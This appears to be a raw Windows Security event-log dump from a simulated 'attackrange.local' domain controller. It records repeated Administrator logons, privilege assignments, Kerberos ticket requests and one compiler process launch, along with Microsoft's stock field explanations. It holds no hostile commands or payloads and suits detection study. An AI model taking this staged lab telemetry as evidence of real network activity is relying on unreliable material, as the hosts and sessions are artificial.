	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251518
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251517
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251516
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251515
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1388E9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251514
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1388E9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251513
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1388E9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251512
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251511
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251510
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251509
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1388BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251508
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x137EF1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251507
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x136BA0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251506
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1388BA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251505
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1388BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251504
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251503
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251502
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251501
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1388
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES120.tmp" "c:\Users\Administrator\AppData\Local\Temp\tizuy0ap\CSC9E3381252B7D436EA13D6DF162D61DDA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251618
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CAE6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251617
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CAE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251616
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251615
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251614
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251613
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C785

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251612
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C785
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251611
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251610
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251609
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
